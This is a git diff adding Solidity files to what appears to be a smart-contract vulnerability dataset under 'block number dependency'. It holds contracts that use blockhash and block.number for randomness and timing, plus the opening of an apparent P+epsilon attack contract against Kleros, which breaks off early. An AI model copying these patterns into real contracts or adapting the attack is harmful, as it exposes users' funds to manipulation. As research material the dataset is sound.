whenNotPaused() + onlyOwnerOf(tokenId) + carrotsMeetLevel(tokenId) + noFeedingInProgress() + { + pendingFeedings[msg.sender] = FeedingData(block.number,tokenId); + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter)); + emit Feeding(tokenId); + } + + + function stopFeeding() external + feedingInProgress() returns (bool) { + uint256 blockNumber = pendingFeedings[msg.sender].blockNumber; + uint256 tokenId = pendingFeedings[msg.sender].horsey; + + require(block.number - blockNumber >= 1,"feeding and stop feeding are in same block"); + + delete pendingFeedings[msg.sender]; + + + + if(block.number - blockNumber > 255) { + + + emit FeedingFailed(tokenId); + return false; + } + + + if(stables.ownerOf(tokenId) != msg.sender) { + + + emit FeedingFailed(tokenId); + return false; + } + + + _feed(tokenId, blockhash(blockNumber)); + bytes32 dna; + (,dna,,) = stables.horseys(tokenId); + emit ReceivedCarrot(tokenId, dna); + return true; + } + + + function() external payable { + revert("Not accepting donations"); + } + + + function _feed(uint256 tokenId, bytes32 blockHash) internal { + + uint8 tier; + uint8 feedingCounter; + (,,feedingCounter,tier) = stables.horseys(tokenId); + uint256 probabilityByRarity = 10 ** (uint256(tier).add(1)); + uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity; + + + if(randNum <= (feedingCounter * rarityMultiplier)){ + _increaseRarity(tokenId, blockHash); + } + + + + if(feedingCounter < 255) { + stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1); + } + } + + + function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) { + return uint256(keccak256(abi.encodePacked(race, sender, coinIndex))); + } + + + function _generate_special_horsey(address race, address eth_address, bytes32 coinIndex) internal returns (uint256) { + uint256 id = _makeSpecialId(race, eth_address, coinIndex); + + bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16); + + stables.storeHorsey(eth_address,id,race,dna,1,0); + return id; + } + + + function _increaseRarity(uint256 tokenId, bytes32 blockHash) private { + uint8 tier; + bytes32 dna; + (,dna,,tier) = stables.horseys(tokenId); + if(tier < 255) + stables.modifyHorseyTier(tokenId,tier+1); + uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash))); + + bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240)); + bytes32 newdna = dna | rarityMask; + stables.modifyHorseyDna(tokenId,newdna); + } + + + function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)*(2 ** n)); + } + + + function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)/(2 ** n)); + } + + + modifier carrotsMeetLevel(uint256 tokenId){ + uint256 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + require(feedingCounter <= stables.carrot_credits(msg.sender),"Not enough carrots"); + _; + } + + + modifier costs(uint256 amount) { + require(msg.value >= amount,"Not enough funds"); + _; + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier noFeedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber == 0,"Already feeding"); + _; + } + + + modifier feedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber != 0,"No pending feeding"); + _; + } + + + modifier onlyOwnerOf(uint256 tokenId) { + require(stables.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token"); + _; + } +} + + + + + +contract HorseyPilot { + + + event NewProposal(uint8 methodId, uint parameter, address proposer); + + + event ProposalPassed(uint8 methodId, uint parameter, address proposer); + + + + uint8 constant votingThreshold = 2; + + + + uint256 constant proposalLife = 7 days; + + + + uint256 constant proposalCooldown = 1 days; + + + uint256 cooldownStart; + + + address public jokerAddress; + address public knightAddress; + address public paladinAddress; + + + address[3] public voters; + + + uint8 constant public knightEquity = 40; + uint8 constant public paladinEquity = 10; + + + address public exchangeAddress; + address public tokenAddress; + + + mapping(address => uint) internal _cBalance; + + + struct Proposal{ + address proposer; + uint256 timestamp; + uint256 parameter; + uint8 methodId; + address[] yay; + address[] nay; + } + + + Proposal public currentProposal; + + + bool public proposalInProgress = false; + + + uint256 public toBeDistributed; + + + bool deployed = false; + + + constructor( + address _jokerAddress, + address _knightAddress, + address _paladinAddress, + address[3] _voters + ) public { + jokerAddress = _jokerAddress; + knightAddress = _knightAddress; + paladinAddress = _paladinAddress; + + for(uint i = 0; i < 3; i++) { + voters[i] = _voters[i]; + } + + + cooldownStart = block.timestamp - proposalCooldown; + } + + + function deployChildren(address stablesAddress) external { + require(!deployed,"already deployed"); + + exchangeAddress = new HorseyExchange(); + tokenAddress = new HorseyToken(stablesAddress); + + + HorseyExchange(exchangeAddress).setStables(stablesAddress); + + deployed = true; + } + + + function transferJokerOwnership(address newJoker) external + validAddress(newJoker) { + require(jokerAddress == msg.sender,"Not right role"); + _moveBalance(newJoker); + jokerAddress = newJoker; + } + + + function transferKnightOwnership(address newKnight) external + validAddress(newKnight) { + require(knightAddress == msg.sender,"Not right role"); + _moveBalance(newKnight); + knightAddress = newKnight; + } + + + function transferPaladinOwnership(address newPaladin) external + validAddress(newPaladin) { + require(paladinAddress == msg.sender,"Not right role"); + _moveBalance(newPaladin); + paladinAddress = newPaladin; + } + + + function withdrawCeo(address destination) external + onlyCLevelAccess() + validAddress(destination) { + + + if(toBeDistributed > 0){ + _updateDistribution(); + } + + + uint256 balance = _cBalance[msg.sender]; + + + if(balance > 0 && (address(this).balance >= balance)) { + destination.transfer(balance); + _cBalance[msg.sender] = 0; + } + } + + + function syncFunds() external { + uint256 prevBalance = address(this).balance; + HorseyToken(tokenAddress).withdraw(); + HorseyExchange(exchangeAddress).withdraw(); + uint256 newBalance = address(this).balance; + + toBeDistributed = toBeDistributed + (newBalance - prevBalance); + } + + + function getNobleBalance() external view + onlyCLevelAccess() returns (uint256) { + return _cBalance[msg.sender]; + } + + + function makeProposal( uint8 methodId, uint256 parameter ) external + onlyCLevelAccess() + proposalAvailable() + cooledDown() + { + currentProposal.timestamp = block.timestamp; + currentProposal.parameter = parameter; + currentProposal.methodId = methodId; + currentProposal.proposer = msg.sender; + delete currentProposal.yay; + delete currentProposal.nay; + proposalInProgress = true; + + emit NewProposal(methodId,parameter,msg.sender); + } + + + function voteOnProposal(bool voteFor) external + proposalPending() + onlyVoters() + notVoted() { + + require((block.timestamp - currentProposal.timestamp) <= proposalLife); + if(voteFor) + { + currentProposal.yay.push(msg.sender); + + if( currentProposal.yay.length >= votingThreshold ) + { + _doProposal(); + proposalInProgress = false; + + return; + } + + } else { + currentProposal.nay.push(msg.sender); + + if( currentProposal.nay.length >= votingThreshold ) + { + proposalInProgress = false; + cooldownStart = block.timestamp; + return; + } + } + } + + + function _moveBalance(address newAddress) internal + validAddress(newAddress) { + require(newAddress != msg.sender); + _cBalance[newAddress] = _cBalance[msg.sender]; + _cBalance[msg.sender] = 0; + } + + + function _updateDistribution() internal { + require(toBeDistributed != 0,"nothing to distribute"); + uint256 knightPayday = toBeDistributed / 100 * knightEquity; + uint256 paladinPayday = toBeDistributed / 100 * paladinEquity; + + + uint256 jokerPayday = toBeDistributed - knightPayday - paladinPayday; + + _cBalance[jokerAddress] = _cBalance[jokerAddress] + jokerPayday; + _cBalance[knightAddress] = _cBalance[knightAddress] + knightPayday; + _cBalance[paladinAddress] = _cBalance[paladinAddress] + paladinPayday; + + toBeDistributed = 0; + } + + + function _doProposal() internal { + + if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter); + + + if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitRaceAddress(address(currentProposal.parameter)); + + + if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter)); + + + if( currentProposal.methodId == 4 ) { + if(currentProposal.parameter == 0) { + HorseyExchange(exchangeAddress).unpause(); + HorseyToken(tokenAddress).unpause(); + } else { + HorseyExchange(exchangeAddress).pause(); + HorseyToken(tokenAddress).pause(); + } + } + + + if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 8 ){ + HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter)); + } + + + if( currentProposal.methodId == 9 ){ + HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter)); + } + + emit ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer); + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier onlyCLevelAccess() { + require((jokerAddress == msg.sender) || (knightAddress == msg.sender) || (paladinAddress == msg.sender),"not c level"); + _; + } + + + + modifier proposalAvailable(){ + require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),"proposal already pending"); + _; + } + + + + modifier cooledDown( ){ + if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){ + revert("Cool down period not passed yet"); + } + _; + } + + + modifier proposalPending() { + require(proposalInProgress,"no proposal pending"); + _; + } + + + modifier notVoted() { + uint256 length = currentProposal.yay.length; + for(uint i = 0; i < length; i++) { + if(currentProposal.yay[i] == msg.sender) { + revert("Already voted"); + } + } + + length = currentProposal.nay.length; + for(i = 0; i < length; i++) { + if(currentProposal.nay[i] == msg.sender) { + revert("Already voted"); + } + } + _; + } + + + modifier onlyVoters() { + bool found = false; + uint256 length = voters.length; + for(uint i = 0; i < length; i++) { + if(voters[i] == msg.sender) { + found = true; + break; + } + } + if(!found) { + revert("not a voter"); + } + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/220.sol b/smart_contract_dataset/block number dependency/220.sol new file mode 100644 index 0000000000000000000000000000000000000000..1bb6b7ed9fa14c86b60fc1c368089fe1cb1c60a6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/220.sol @@ -0,0 +1,222 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract Claimable is Ownable { + address public pendingOwner; + + + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + + function claimOwnership() onlyPendingOwner public { + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +contract SimpleFlyDropToken is Claimable { + using SafeMath for uint256; + + ERC20 internal erc20tk; + + function setToken(address _token) onlyOwner public { + require(_token != address(0)); + erc20tk = ERC20(_token); + } + + + function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(_destAddrs.length == _values.length); + + uint256 i = 0; + for (; i < _destAddrs.length; i = i.add(1)) { + if (!erc20tk.transfer(_destAddrs[i], _values[i])) { + break; + } + } + + return (i); + } +} + +contract DelayedClaimable is Claimable { + + uint256 public end; + uint256 public start; + + + function setLimits(uint256 _start, uint256 _end) onlyOwner public { + require(_start <= _end); + end = _end; + start = _start; + } + + + function claimOwnership() onlyPendingOwner public { + require((block.number <= end) && (block.number >= start)); + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + end = 0; + } + +} + +contract FlyDropTokenMgr is DelayedClaimable { + using SafeMath for uint256; + + address[] dropTokenAddrs; + SimpleFlyDropToken currentDropTokenContract; + + + + function prepare(uint256 _rand, + address _from, + address _token, + uint256 _value) onlyOwner public returns (bool) { + require(_token != address(0)); + require(_from != address(0)); + require(_rand > 0); + + if (ERC20(_token).allowance(_from, this) < _value) { + return false; + } + + if (_rand > dropTokenAddrs.length) { + SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); + dropTokenAddrs.push(address(dropTokenContract)); + currentDropTokenContract = dropTokenContract; + } else { + currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); + } + + currentDropTokenContract.setToken(_token); + return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); + + + + } + + + + + + + + + + function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(address(currentDropTokenContract) != address(0)); + return currentDropTokenContract.multiSend(_destAddrs, _values); + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2295.sol b/smart_contract_dataset/block number dependency/2295.sol new file mode 100644 index 0000000000000000000000000000000000000000..0238113574fab4640d6fd328f071d29a4622f1f7 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2295.sol @@ -0,0 +1,269 @@ +pragma solidity ^0.4.24; + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +contract ERC20OldBasic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public; + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract ERC20Old is ERC20OldBasic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public; + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + +contract WrapperLock is BasicToken, Ownable { + using SafeMath for uint256; + + + address public TRANSFER_PROXY; + mapping (address => bool) public isSigner; + + bool public erc20old; + string public name; + string public symbol; + uint public decimals; + address public originalToken; + + mapping (address => uint256) public depositLock; + mapping (address => uint256) public balances; + + function WrapperLock(address _originalToken, string _name, string _symbol, uint _decimals, address _transferProxy, bool _erc20old) Ownable() { + originalToken = _originalToken; + TRANSFER_PROXY = _transferProxy; + name = _name; + symbol = _symbol; + decimals = _decimals; + isSigner[msg.sender] = true; + erc20old = _erc20old; + } + + function deposit(uint _value, uint _forTime) public returns (bool success) { + require(_forTime >= 1); + require(now + _forTime * 1 hours >= depositLock[msg.sender]); + if (erc20old) { + ERC20Old(originalToken).transferFrom(msg.sender, address(this), _value); + } else { + require(ERC20(originalToken).transferFrom(msg.sender, address(this), _value)); + } + balances[msg.sender] = balances[msg.sender].add(_value); + totalSupply_ = totalSupply_.add(_value); + depositLock[msg.sender] = now + _forTime * 1 hours; + return true; + } + + function withdraw( + uint _value, + uint8 v, + bytes32 r, + bytes32 s, + uint signatureValidUntilBlock + ) + public + returns + (bool success) + { + require(balanceOf(msg.sender) >= _value); + if (now <= depositLock[msg.sender]) { + require(block.number < signatureValidUntilBlock); + require(isValidSignature(keccak256(msg.sender, address(this), signatureValidUntilBlock), v, r, s)); + } + balances[msg.sender] = balances[msg.sender].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + depositLock[msg.sender] = 0; + if (erc20old) { + ERC20Old(originalToken).transfer(msg.sender, _value); + } else { + require(ERC20(originalToken).transfer(msg.sender, _value)); + } + return true; + } + + function withdrawBalanceDifference() public onlyOwner returns (bool success) { + require(ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_) > 0); + if (erc20old) { + ERC20Old(originalToken).transfer(msg.sender, ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_)); + } else { + require(ERC20(originalToken).transfer(msg.sender, ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_))); + } + return true; + } + + function withdrawDifferentToken(address _differentToken, bool _erc20old) public onlyOwner returns (bool) { + require(_differentToken != originalToken); + require(ERC20(_differentToken).balanceOf(address(this)) > 0); + if (_erc20old) { + ERC20Old(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this))); + } else { + require(ERC20(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this)))); + } + return true; + } + + function transfer(address _to, uint256 _value) public returns (bool) { + return false; + } + + function transferFrom(address _from, address _to, uint _value) public { + require(isSigner[_to] || isSigner[_from]); + assert(msg.sender == TRANSFER_PROXY); + balances[_to] = balances[_to].add(_value); + depositLock[_to] = depositLock[_to] > now ? depositLock[_to] : now + 1 hours; + balances[_from] = balances[_from].sub(_value); + Transfer(_from, _to, _value); + } + + function allowance(address _owner, address _spender) public constant returns (uint) { + if (_spender == TRANSFER_PROXY) { + return 2**256 - 1; + } + } + + function balanceOf(address _owner) public constant returns (uint256) { + return balances[_owner]; + } + + function isValidSignature( + bytes32 hash, + uint8 v, + bytes32 r, + bytes32 s + ) + public + constant + returns (bool) + { + return isSigner[ecrecover( + keccak256("\x19Ethereum Signed Message:\n32", hash), + v, + r, + s + )]; + } + + function addSigner(address _newSigner) public { + require(isSigner[msg.sender]); + isSigner[_newSigner] = true; + } + + function keccak(address _sender, address _wrapper, uint _validTill) public constant returns(bytes32) { + return keccak256(_sender, _wrapper, _validTill); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2296.sol b/smart_contract_dataset/block number dependency/2296.sol new file mode 100644 index 0000000000000000000000000000000000000000..d952211dadfd195ac019581dc09beb206922f81d --- /dev/null +++ b/smart_contract_dataset/block number dependency/2296.sol @@ -0,0 +1,247 @@ +pragma solidity 0.4.24; + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +contract ERC20OldBasic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public; + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract ERC20Old is ERC20OldBasic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public; + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + +contract WrapperLockEth is BasicToken, Ownable { + using SafeMath for uint256; + + address public TRANSFER_PROXY; + mapping (address => bool) public isSigner; + + string public name; + string public symbol; + uint public decimals; + address public originalToken = 0x00; + + mapping (address => uint) public depositLock; + mapping (address => uint256) public balances; + + function WrapperLockEth(string _name, string _symbol, uint _decimals, address _transferProxy) Ownable() { + TRANSFER_PROXY = _transferProxy; + name = _name; + symbol = _symbol; + decimals = _decimals; + isSigner[msg.sender] = true; + } + + function deposit(uint _value, uint _forTime) public payable returns (bool success) { + require(_forTime >= 1); + require(now + _forTime * 1 hours >= depositLock[msg.sender]); + balances[msg.sender] = balances[msg.sender].add(msg.value); + totalSupply_ = totalSupply_.add(msg.value); + depositLock[msg.sender] = now + _forTime * 1 hours; + return true; + } + + function withdraw( + uint _value, + uint8 v, + bytes32 r, + bytes32 s, + uint signatureValidUntilBlock + ) + public + returns + (bool) + { + require(balanceOf(msg.sender) >= _value); + if (now > depositLock[msg.sender]) { + balances[msg.sender] = balances[msg.sender].sub(_value); + totalSupply_ = totalSupply_.sub(msg.value); + msg.sender.transfer(_value); + } else { + require(block.number < signatureValidUntilBlock); + require(isValidSignature(keccak256(msg.sender, address(this), signatureValidUntilBlock), v, r, s)); + balances[msg.sender] = balances[msg.sender].sub(_value); + totalSupply_ = totalSupply_.sub(msg.value); + depositLock[msg.sender] = 0; + msg.sender.transfer(_value); + } + return true; + } + + function withdrawDifferentToken(address _token, bool _erc20old) public onlyOwner returns (bool) { + require(ERC20(_token).balanceOf(address(this)) > 0); + if (_erc20old) { + ERC20Old(_token).transfer(msg.sender, ERC20(_token).balanceOf(address(this))); + } else { + ERC20(_token).transfer(msg.sender, ERC20(_token).balanceOf(address(this))); + } + return true; + } + + function transfer(address _to, uint256 _value) public returns (bool) { + return false; + } + + function transferFrom(address _from, address _to, uint _value) public { + require(isSigner[_to] || isSigner[_from]); + assert(msg.sender == TRANSFER_PROXY); + balances[_to] = balances[_to].add(_value); + depositLock[_to] = depositLock[_to] > now ? depositLock[_to] : now + 1 hours; + balances[_from] = balances[_from].sub(_value); + Transfer(_from, _to, _value); + } + + function allowance(address _owner, address _spender) public constant returns (uint) { + if (_spender == TRANSFER_PROXY) { + return 2**256 - 1; + } + } + + function balanceOf(address _owner) public constant returns (uint256) { + return balances[_owner]; + } + + function isValidSignature( + bytes32 hash, + uint8 v, + bytes32 r, + bytes32 s) + public + constant + returns (bool) + { + return isSigner[ecrecover( + keccak256("\x19Ethereum Signed Message:\n32", hash), + v, + r, + s + )]; + } + + function addSigner(address _newSigner) public { + require(isSigner[msg.sender]); + isSigner[_newSigner] = true; + } + + function keccak(address _sender, address _wrapper, uint _validTill) public constant returns(bytes32) { + return keccak256(_sender, _wrapper, _validTill); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/238.sol b/smart_contract_dataset/block number dependency/238.sol new file mode 100644 index 0000000000000000000000000000000000000000..365be5b5b188ebbdc8c886ecd83105624a933615 --- /dev/null +++ b/smart_contract_dataset/block number dependency/238.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.12; + + + + + + +contract IMigrationContract { + function migrate(address addr, uint256 nas) returns (bool success); +} + + +contract SafeMath { + + + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0) { + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + +contract DEJToken is StandardToken, SafeMath { + + + string public constant name = "De Home"; + string public constant symbol = "DEJ"; + uint256 public constant decimals = 18; + string public version = "1.0"; + + + address public ethFundDeposit; + address public newContractAddr; + + + bool public isFunding; + uint256 public fundingStartBlock; + uint256 public fundingStopBlock; + + uint256 public currentSupply; + uint256 public tokenRaised = 0; + uint256 public tokenMigrated = 0; + + + + event IncreaseSupply(uint256 _value); + event DecreaseSupply(uint256 _value); + + + function formatDecimals(uint256 _value) internal returns (uint256 ) { + return _value * 10 ** decimals; + } + + + function DEJToken() + { + ethFundDeposit = 0x697e6C6845212AE294E55E0adB13977de0F0BD37; + + isFunding = false; + fundingStartBlock = 0; + fundingStopBlock = 0; + + currentSupply = formatDecimals(1000000000); + totalSupply = formatDecimals(1000000000); + balances[msg.sender] = totalSupply; + if(currentSupply > totalSupply) throw; + } + + modifier isOwner() { require(msg.sender == ethFundDeposit); _; } + + + + + function increaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + currentSupply > totalSupply) throw; + currentSupply = safeAdd(currentSupply, value); + IncreaseSupply(value); + } + + + function decreaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + tokenRaised > currentSupply) throw; + + currentSupply = safeSubtract(currentSupply, value); + DecreaseSupply(value); + } + + + function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { + if (isFunding) throw; + if (_fundingStartBlock >= _fundingStopBlock) throw; + if (block.number >= _fundingStartBlock) throw; + + fundingStartBlock = _fundingStartBlock; + fundingStopBlock = _fundingStopBlock; + isFunding = true; + } + + + function stopFunding() isOwner external { + if (!isFunding) throw; + isFunding = false; + } + + + + + function transferETH() isOwner external { + if (this.balance == 0) throw; + if (!ethFundDeposit.send(this.balance)) throw; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/246.sol b/smart_contract_dataset/block number dependency/246.sol new file mode 100644 index 0000000000000000000000000000000000000000..f100f33db03563d7e8f87826c5a856cae966779c --- /dev/null +++ b/smart_contract_dataset/block number dependency/246.sol @@ -0,0 +1,1532 @@ +pragma solidity ^0.4.24; + + + +contract PEpsilon { + Pinakion public pinakion; + Kleros public court; + + uint public balance; + uint public disputeID; + uint public desiredOutcome; + uint public epsilon; + bool public settled; + uint public maxAppeals; + mapping (address => uint) public withdraw; + + address public attacker; + uint public remainingWithdraw; + + modifier onlyBy(address _account) {require(msg.sender == _account); _;} + + event AmountShift(uint val, uint epsilon ,address juror); + event Log(uint val, address addr, string message); + + + constructor(Pinakion _pinakion, Kleros _kleros, uint 